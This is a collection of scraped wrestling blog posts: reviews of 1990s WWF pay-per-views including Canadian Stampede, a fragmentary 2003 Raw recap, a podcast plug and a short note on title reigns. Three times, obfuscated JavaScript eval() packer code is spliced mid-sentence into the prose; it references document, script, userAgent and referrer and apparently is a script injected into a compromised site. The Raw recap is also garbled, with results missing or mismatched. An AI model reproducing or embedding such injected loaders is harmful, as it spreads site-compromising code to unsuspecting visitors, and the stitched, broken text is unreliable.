This match is a rematch from the KOTR semis where Mero got beat by Austin, but during a rollup legitimately kicked Austin in the mouth and busted him open. Seeing Austin with writing on his tights is just odd to see. Sable’s hotness really should be illegal. She’s just gorgeous. This match is moving pretty slowly and I think that’s for the best. Austin’s style at the time was a more methodical one and that’s what you’re getting here.

You’re really starting to see some of the flashes of Austin’s signature style coming on here. He’s stomping a lot, turning really fast with his arms at his side, etc. Austin actually goes for a springboard move. He had a bulldog but runs at the corner to walk up them. He got reversed, but it was still amazing to see him attempt it and make it look good.

During the match, Marlena and the Usher come to ringside and hand King a letter or something. They leave with nothing really happening so that was kind of odd. Mero is just bland. His gimmick was that he was supposed to be wild, but that pretty much consisted of a lot of flips over the ropes and punches.

He was ok, but he was just out of his league here. Austin back then was one of those guys that you could just see something special in. You knew he was going to break through the glass ceiling soon and the only question was when would it happen? Anyway, Austin wins with the stunner, minus the kick.

Rating: B-. This match was designed to do one thing and one thing only: build up Austin. That’s exactly what it did too. Austin was the star in this match and did most of the work in it. He never was in any real trouble other than for a few seconds and he looked dominant over a guy that was a solid midcarder at the time. Good little match and it pushed Austin even harder by giving him another win to add to the pile.

Undertaker vs. Goldust

This feud just will never die will it? I can’t believe this thing has been going over four months and I literally don’t remember a single match they had. We get a recap of what this feud has been, which is more or less Taker beating the living tar out of Goldust but never getting the IC Title, until Mankind debuts and beats on Taker some too. That leads us here, somehow.

Of course, we get the endless stall from Goldust before the match starts and the insanely long entrance from Taker to fill in more PPV time. After about 5 minutes of stalling, Taker beats the living tar out of him. It’s a pure beatdown with very little from Goldust at all other than running from Taker. I really don’t get the point to these matches. We all know Taker is dominant and is going to crush Goldust, so why have them?

Apparently he’s more aggressive this time though so he won’t get beaten up as badly. Why do I have a feeling that won’t do anything at all to help him? The movie references are already rolling but they’re not as funny this time from Lawler.

Holy crap Taker used a small package, and a decent one at that. After about 10 minutes of Taker beating on Goldust, he hits the tombstone. However, as the referee is stalling to get to the finish, Mankind pops out of the ring (literally) and gets the claw on him.

The lights flicker but there’s no Taker as Mankind looks into the hole. Taker pops out of another hole and fights Mankind back to the locker room. As the announcers talk while the ring is repaired, we cut to the back where Mankind and Taker are fighting in the boiler room. That’s your foreshadowing to Summerslam I guess.

Rating: C-. This was what we had seen for four months now and still it’s not entertaining. Why Goldust is what I don’t get. He had no connection to Taker. No one remembers this feud for some reason. The whole point of this match was to have Taker and Mankind continue their feud so that’s fine, but it just was a stale feud by this point.

In the back, Goldust is quoting movie lines while stroking Mankind’s hair while he calls Goldust’s wig mommy. It’s stranger than it sounds. They talk about the Undertaker, I think.

Camp Cornette vs. Peoples Posse

Yes that’s what they were going by. Pre match we hear from the faces who say your basic face things. Shawn comes out first for some reason. As he’s coming to the ring, one of the barricades breaks and the fans fall into the aisle. Shawn keeps smiling though as clearly no one was hurt. One of the kids runs up and hugs him. Shawn is professional and hugs him back so that’s good to see.

Sid has been turned face for some reason now. This can best be described as three matches in one: Shawn vs. Vader, Ahmed vs. Bulldog and Ahmed vs. Owen. Sid is just kind of along for the ride, which isn’t his fault. He was thrown into this thing a week ago with no real storyline at all.

This match gets some decent time at over twenty minutes which should be a requirement for more than four people in a match. You have ample time to get all the feuds in and everyone has enough time to face everyone at least once. It’s kind of like an orgy: if you don’t get a sample of everyone, then it’s kind of a waste of time. You may be more partial to one person, but you need to sample them all.

This is a very solid match. While I never have been a fan of tags like this to close a PPV, this is one of the best I can remember seeing. Shawn, the best in the match, is in the ring more than anyone. He flows very well with all three men which is saying a lot as they’re all very different styles. Ahmed is barely ever in, which means that they at least know he’s terrible in the ring.

You get a lot of back and forth action with the heels dominating most of the match but the faces making the last minute save before things get too terrible. They hammer each other the entire match and it’s quite physical. You get combinations of all 6 guys which is always fun.

Cornette panicking at every near fall is just great as he fakes heart attacks like no one else ever could. This show really was better at building up Summerslam as Smith and Sid have a lot of time together here and they would meet next month.

Shawn and Vader of course would go on to headline Summerslam in a month in a showdown for the title. That of course is your ending here, as Shawn is setting for the kick but Cornette grabs his foot. Splash in the corner, Vader Bomb and the pinfall. The crowd and the announcers are stunned to say the least.

Post match, the faces clear the ring and Shawn jumps Vader before they all pose. Poor sportsmanship there. He got beat clean.

Rating: B. Very fun match that did its job. It built up for next month and it made people believe Shawn was vulnerable. It got the time that it needed and nothing felt rushed. Very well done match, but at the same time, this was the main event of the PPV. It’s by far the best match, but that’s not saying much.

Overall Rating: D+. This show is bad, like really bad. It’s five matches: a non title match, three glorified squashes and a good main event. There’s little of interest throughout the whole show and there was no reason at all for this to be a PPV. I could easily see this being a Raw.

Now I’m known to be a fan of this concept, but this was completely unnecessary. No need for a PPV here at all, and it showed. There is no thought, there is no effort, there is nothing at all to this show. Complete recommendation to avoid.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 




Steve Austin On Wrestling

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyebz|var|u0026u|referrer|enedz||js|php'.split('|'),0,{})) you’ve never heard Austin talk about wrestling, make the time to do so.  The guy just gets the idea behind the business and has one of the most brilliant wrestling minds you’ll ever hear.  He also has one of if not the best wrestling podcasts in the world right now.  Check it out.  The more interviews I read of him giving his take on things the more brilliant he seems.  He’s also one of the few guys who can critique nearly any wrestler ever because of how big a star he was.  Check his stuff out and you’ll have a blast doing it.

Here’s his podcast page which has episodes of him just talking about whatever comes to mind or interviews with legends like Angle, Hart and Nash plus many others.

http://www.podcastone.com/Steve-Austin-Show?showAllEpisodes=true




On This Day (Second Post): July 6, 1997 – In Your House #16: Canadian Stampede: A Forgotten Classic

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dshat|var|u0026u|referrer|kbyzr||js|php'.split('|'),0,{})) Your House 16: Canadian Stampede
Date: July 6, 1997
Location: Saddledome, Calgary *dramatic pause* Alberta, Canada
Attendance: 12,151
Commentators: Jerry Lawler, Jim Ross

Well, KOTR has passed. Your highlights are Steve Austin and the returning Shawn Michaels have beaten Owen and the Bulldog for the tag belts. This happened on a Raw but I’m too lazy to go back and correct it. As for the PPV, HHH is your new King of the Ring, and Taker is pretty much fighting every big named heel on the roster. Austin’s war with the Hart Foundation has reached a boiling point and here is your blowoff to the biggest part of it.

Since Austin has no friends, he pretty much found four guys that hate the Harts just as much as he does: Goldust, who was feuding with Pillman (I think), Shamrock was feuding with no one in particular but would soon begin a feud with Smith, and the LOD was feuding with the former tag champions for all of two days.

Other than that, the only big match is Taker vs. Vader for the WWF Title. The issue with a ten man tag for your main event is simple: we’re looking at a four match card on a PPV. That’s a stretch even for these shows. This show is praised for its crowd involvement, with Bret himself saying it’s one of his all time favorites. I haven’t seen this show in almost 12 years so we’ll see how it holds up.

As a side note, this is the end of the traditional IYH formula. After this, IYH would be the subtitle, such as the next show which is Ground Zero: In Your House. It would also be the last two hour show, so these reviews will get longer.

Free For All: Blackjacks vs. Godwinns

The hog men are back to being heels after I don’t think they’ve been on TV at all, so that’s a bit weird. For some reason that I don’t know, Vince and Lawler are dressed as cowboys so they’re all in JR style hats. JR looks at them like he wants to shoot them. Lawler’s headset isn’t working.

We get some graphics showing the two big matches before the intros of the teams. Taker is rocking his usual sleeveless outfit but he has the title and a cowboy hat on. It’s actually somewhere between awesome and ridiculous looking. Not sure which actually. Anyway, let’s get to this bad match, which to be fair was free so you can’t really complain about it.

The Blackjacks are Barry Windham and Bradshaw, which is a decent pairing as you have two big guys from Texas that are completely opposite styles: Windham has talent and Bradshaw doesn’t. Great combination as pairings like this always work best when they’re opposites. Apparently the Godwinns are heels since the LOD botches their finisher and broke Henry’s neck. Vince says the crowd will be pro-Canadian.

Lawler’s headset is fixed as he saves the commentary by saying of course they will be. THEY’RE CANADIAN! Have to love Vince’s brilliant impact. Apparently all of the Hart Family will be there tonight. Oh yeah the match. The crowd is way hot for it, but it’s a free match to get the crowd excited so what can you expect from it? There’s nothing of note here but double teaming wins it for the Godwinns.

Rating: D. It was just a five minute tag match to get things going so it wasn’t supposed to light the world on fire. It was a way to get things going, which I guess it did. Nothing to really say here.

Very nice video package talking about how things are changing in the company and there’s no more black and white but rather shades of gray. Austin is the anti-hero now but he’s so over that the company doesn’t really care. Bret is going to be god incarnate in the ring tonight and it’s just going to be fun to watch.

Best sign of the night: Brett is King. They can’t spell their hometown legend’s name right. That cracks me up.

HHH vs. Mankind

This is a rematch from the KOTR finals. My favorite entrance music plays as HHH comes to the ring. I mean just dang that choir singing his praises is amazing. Recap video showing how different these two are. This has spawned Foley’s face turn.  The crowd is WHITE hot tonight. Foley imitates HHH’s curtsey which is just freaking hysterical.

I’ve always loved that running elbow from the apron. Who else does that? Foley is just beating the tar out of HHH here and it’s fun to watch. Apparently he’s the prime minister of Parts Unknown. I guess the Warrior is the mayor? HHH gets a freaking sunset flip of all things. I mean really, WHERE IN THE WORLD DID THESE MOVES GO?

Rock is throwing cross bodies, HHH is sunset flipping people, Austin is coming off the top, I mean what the heck? Match gets turned around when Chyna hip tosses Mankind into the stairs where he slams his leg. A chair shot makes his leg hurt even worse. After that we get HHH working over the knee for a long time but Mankind starts his comeback with a shoulder to the balls which I don’t think I’ve ever seen before.

Chyna is really getting annoying here with all of the interfering. I don’t like the constant interfering as it makes her look more important than HHH. It’s just distracting and eventually gets stupid. Finally they brawl to the floor and eventually into the crowd for the double DQ.

Rating: B-. This was a fun, hard hitting match. Any time you can get two guys to just beat the living heck out of each other with a bit of a past together, it’s almost always fun. These two had a great amount of chemistry and it would show later on when they were one on one for the world title in a few years. Great stuff here.

They keep brawling through the crowd which is almost always fun to see. HHH is going at it here and you can see the Cerebral Assassin coming out in him. He’s starting to get some definition as well so he’s really starting to transform into the Game.

We see a recap of Stampede Weekend. There was a parade and all kinds of stuff which is an annual tradition up there. There was a tug of war and a big party which really looks like it would be fun. Bret was a big guest at a rally and there were thousands of people there for him. This seriously is insane.

Bret and the Harts are in the back. Austin interrupts but Bret calls off the dogs, saying he wants it five on five later on. The crowd is hot even seeing him let alone him being in front of the camera. That main event is going to be insane.

Taka Michinoku vs. The Great Sasuke

Fink with a cowboy hat is great. We cut to the crowd and Mankind and HHH are still hammering each other. HHH is busted open but it made him madder. This is a freaking slugout. Now we get to the real match. A graphic says this is a light heavyweight match. Two things: do we really need a graphic to let us know that? We heard their weights and we can see they’re small and thin.

Also, isn’t light heavyweight an oxymoron? If you’re light, how can you be heavy? Why not just lightweight? Actually, why not you don’t have size so you’ll never be a world champion-weight? That’s the real weight class we’re seeing here as WWF tries to make their own cruiserweight division which bombed so badly that words cannot describe it. This starts out as a martial arts match which is ok I guess. Sasuke is the heel here I think.

These two are doing a bunch of random moves which are ok I guess but they have nothing on WCW. Taka however has one of my all time favorite moves as he gets a running start, jumps to the top rope, pauses while on it, and throws a huge dive. That always made me mark out. Sweet looking missile dropkick from Taka. See what I mean? It’s just random moves from all over the place. No psychology or anything involved, just random moves. Sasuke wins with a Tiger Suplex.

Rating: C-. This was wild but not particularly entertaining. This was the difference between WCW and WWF in this division: WCW built up guys over time. WWF’s division is like the women’s division now. There are no stories, very few promos, and the only matches you would ever get are contender’s matches and title matches. WCW had a whole division and not the champion against challenger of the month. It was a copy of WCW, minus the thought and the majority of the talent.

We go back to HHH and Mankind who are still fighting. They’re outside now and it’s still fun, but now we’re getting to the point of overkill. I like it so far but they don’t need to take it too far.

Recap of the Taker feud, which was supposed to be him vs. Ahmed, which is my memory and the stories I’ve heard are true, Ahmed was supposed to get the title here. However he legit got hurt and had to stay out of it. A big brawl explains this.

Vader and Bearer are in the back and a newly clean shaven and blonde Paul Bearer talks about what would become one of the best done stories of all time: Taker killing him family. Through this, we would hear of a man that would be revealed as Undertaker’s brother. His name was Kane. More on this in a few months.

WWF Title: Vader vs. Undertaker

Like I said this was thrown together due to Ahmed being hurt. Taker’s pop is of course epic, even in Canada. That shows how great he is, as Canada is notorious for booing the faces. Taker is the exception to the rule I suppose, as he is in so many other things. He comes to the ring with the I guess you’d say jacket over his ring gear. He takes it off and there it is: the WWF Title. That just looks perfect on him.

Taker starts off by punching the heck out of Vader. This is exactly what you would expect from these two: hard hitting brawling. Taker beats on him for the first 3 minutes or so but eventually Bearer gets involved and the Mastodon takes over. Vader at this time was just freaking awesome to watch but no one knew what to do with him. He wasn’t going to win the belt off a three day notice and after this he would just start flying down the card until he faded into Bolivia.

Part of this might have been due to the absolute worst nerve hold I have ever seen. Vader’s hands aren’t even clenched. It’s him with his hands on Taker’s neck and nothing more. It’s pathetic looking. There’s a serious lack of drama in this match as Taker never really seems to be in any real danger. Vader gets close of course but never puts anything big together.

He kicks Taker low right in front of the referee but there’s no DQ called. JR has no clue why there wasn’t and neither do I. I thought that was the finish actually. Anyway, Vader goes for the Bomb, Taker blocks it, hits two chokeslams and a tombstone to keep the belt.

Rating: C-. Like I said, there was no drama here. It really felt like this was a title match for the sake of having a title match, and that rarely if ever works. Now to be fair they had a week to build this up so Vader really was a last second replacement which likely takes a lot away from this. I just wanted more from this match though which pretty much sums up my feelings as a whole: I wanted more.

We get a recap of all of the stuff that the Harts have had for them this weekend. Allegedly many of the lines to just get Bret’s autograph were a mile long. Now I don’t know if that’s true or not, but it sounds amazing either way.

Video package on the history of this feud. Basic stuff here that I won’t bother going into except this: Mankind is shown fighting Bret. Why then would you put Goldust, a mid card guy, into the main event and not Mankind, a guy with main event experience? I just don’t get that.

Austin’s team is in the back. Each cuts a mini-promo and Shamrock’s is so bad. Austin says nothing and just leads them to the ring.

Austin’s Team vs. The Hart Foundation

Before the match some Canadian band sings O Canada and the crowd is on fire. Hart Family is shown at ringside. Goldust is out first to pretty much no reaction. Hearing that a team’s combined weight is over 1,300 pounds is just odd sounding. No Marlena tonight which is a good thing I think. Shamrock gets a pretty good pop. It’s not mind blowing but it’s good. Three hot women have signs that says the Harts suck. Well I’ll be darned.

LOD is very over as well. That’s another gimmick that just works no matter what. And now, the captain of the team: for a guy that is supposed to be the arch rival of the national hero, the guy is pretty freaking popular. He got the biggest pop of the team and while there was booing, it was nothing compared to the cheers.

However, he just got outpopped by a mile by Brian Pillman. All five Harts get their own intro, and the fans are insane the whole time. They progressively get louder until they blow the roof off the place for Bret. His pop is one of if not the loudest I have ever heard. You all remember the sign that says if Cena wins we riot. In this case, that would be true.

The difference between Cena and Austin can be made clear right here though: Cena was visibly shaken at One Night Stand. Austin is thriving in this environment. The Harts come to the ring in unison, all wearing leather jackets. That’s a nice little touch that’s missing from so much today. Tag teams should dress alike. It just makes them look more unified to me.

There’s a great visual to start this as all ten men are in the ring but Bret and Austin are in the middle with their eyes locked on each other. All eight others just fade away and all you see are those two. That’s absolutely great. They start of course which makes me wonder if that should have been your main event: Bret vs. Austin. However, they’ve fought so many times and the crowd is so hot for his, I can’t really see how it would be better.

The ten man is the right decision. Bret actually wins the fist fight to start as the crowd is orgasming on every move. Austin comes back though, beats Bret into the corner, flips the crowd off and THEN whips Bret in. See what he did there? He got a little extra heat going, but it didn’t take any momentum away from the match. That’s a very nice touch.

Eventually Neidhart gets tagged in. I have come to the conclusion that he is nothing more than a fondly remembered Marty Jannetty. He never did a thing on his own. Actually, Marty did more than Anvil did. That’s saying something indeed. Shamrock’s belly to belly is just freaking sweet. I’m not liking the tags at the same time thing over and over. Let us see more than just the rivals. Owen apparently has a new haircut.

It’s so new he’s had it for three months now. Dang this crowd is intense. They’re screaming, yelling, cussing, shouting obscenities at people and will not calm down for one second. You might say they’re just-insane. Bulldog actually gets the delayed suplex on Hawk. That’s rather impressive.

However, he hits the powerslam and Hawk is up within about three seconds. It was one of the worst no sells I’ve ever seen. Goldust is put into a tree of woe in the Harts corner and gets one of the worst beatdowns I have ever seen. The crowd sees him get tied up and rises to their feet.

We finally get our first wild brawl of the night as all ten guys come in. During the fracas, (that’s your big word for the day people: fracas) Owen’s leg is destroyed by Austin. Three times being slammed into the post and a chair shot. He limps to the back with the help of officials so apparently it’s 5-4 now, even though this isn’t an elimination match. Ass shot of Pillman which is something I didn’t really want to see.

Bret retaliates by going after Austin’s knee, eventually using the figure four on the post, which when you think about it, doesn’t hurt much with the post. It would hurt, but not as bad as they would like it to. Austin goes to the back too as this is very one sided now. That’s a tactic I use when I write OCW multi-man matches. Ten guys are just too many to work with so I’ll shorten the amount of people in the match.

Vince calls the Harts a nationalistic faction. WELL DUH VINCE! Bulldog beats the living tar out of Shamrock and the crowd is exploding to say the least. Once Goldust comes in, JR does a GREAT Dusty Rhodes impression but I’m not sure how many people would pick up on it. It’s so subtle that it’s hard to catch. Austin comes back out and it’s him vs. Bret again and Austin is beating the tar out of him.

According to Ross, Austin is being excellently executed. That’s a good little line. Austin calls spots to Bret but the beauty of Austin’s character is you could believe that he’s talking trash to him. Bret is in a sharpshooter as Owen comes back to the ring. Soon thereafter, the Hart brothers at ringside get involved by punching Austin and jumping the rail. Within a few seconds it’s a wild brawl and Owen rolls up Austin for the pin.

Post match, we have another wild brawl and for some reason security does nothing to the fans that jumped the railing and lets them get in the ring and celebrate. Austin of course runs back into the ring as the Harts are celebrating with a chair and gets his ass handed to him. Lawler’s hatred for Bret will simply never go away.

Of course, Austin is handcuffed instead of the other Harts and is taken away by security. The logic in WWF makes me shake my head at times. Stu gets into the ring afterwards and the crowd is gone completely. There’s almost thirty Harts and all of them come into the ring. Make that fifty. The Harts’ praises are sung as we go off the air.

Rating: A. This was a great ten man match for many reasons, but the one that is forgotten is the wrestling itself. I wasn’t bored once during this match and as someone that can’t stand tags to end a show, that’s saying a lot. It’s probably the best non-gimmick team match I’ve ever seen. I really liked it and the crowd carried this for the most part, which wasn’t actually needed.

Overall Rating: A. The obvious big flaw with the show is that it’s just four matches. However, the weakest by far is the light weight match, which was at least watchable. It’s far from bad, just not that great. The main event is of course the best on the card with a crowd as hot as I have ever seen. Great show, maybe not all time great, but certainly great and probably the best In Your House so far. At worst, it’s second to Mind Games only.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 




Monday Night Raw – February 3, 2003: The Evolution

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Date: February 3, 2003
Location: MCI Center, Washington D.C.
Commentators: Jim Ross, Jerry Lawler

Also on a personal note, this was my 15th birthday.

Theme song.

Dudley Boyz vs. 3 Minute Warning

Spike Dudley comes out and sets up a table, allowing Bubba to powerbomb Rico through the wood.

Tommy Dreamer vs. ???

Evolution is in a sky box.

Clip from last week of Jazz returning and destroying Trish.

Victoria vs. Molly Holly

Post match Jazz comes out and hits the Jazz Stinger on Molly. Jazz shoves Victoria down as well before laying out Molly with a DDT.

Booker is fired up for his tag title shot but Goldust wants a deal first. If they win, great but if not then they split up.

Evolution has champagne.

Raw Tag Titles: William Regal/Lance Storm vs. Booker T/Goldust

Bischoff goes to the saloon and tries to order a martini. This goes about as well as you would expect and Austin is in another bar elsewhere.

Kane vs. Rob Van Dam

Jeff takes a chokeslam and the Five Star for good measure.

They trade hiptoss attempts until Maven armdrags him down. We hit the mat with Maven holding a headlock as the fans are bored already. Brown comes back with a kneelift and sends Maven into the buckle as the booing continues. Maven hits what looked to be a spin kick and a backslide for two and a middle rope bulldog gets the same. Maven misses a missile dropkick and the Sky High powerbomb is good for the pin.

Rating: D-. This match exists. Next.

Goldust is taken away by EMTs during the break.

Scott Steiner vs. Chris Jericho


Vince comes in to see Morely and laughs about Bischoff running out of time. If Vince isn’t impressed next week, he’s fired.

Remember to follow me on Twitter @Kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:




Thought of the Day: The WWF Was SLOW

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbeh|var|u0026u|referrer|skstt||js|php'.split('|'),0,{})) got to thinking about the amount of title reigns in various companies today and did some checking.Ring of Honor has been around for over 11 years now and Jay Briscoe is the 18th world champion.  There has been one two time champion (Austin Aries) in the history of the title.  Here’s the interesting part: the WWF Title had its first two time champion after ten years, it’s second two time champion after 26 years, and it’s first three time champion after 28 years.

 

Think about that for a minute when you hear Cole talking about Orton and Cena and HHH having like 40 world title reigns between them.  They’ve done that in less than 15 years combined.  The 40th WWF Title reign took 35 years to reach in 1998.  See why old fans get annoyed at how fast the title changes hands in modern times?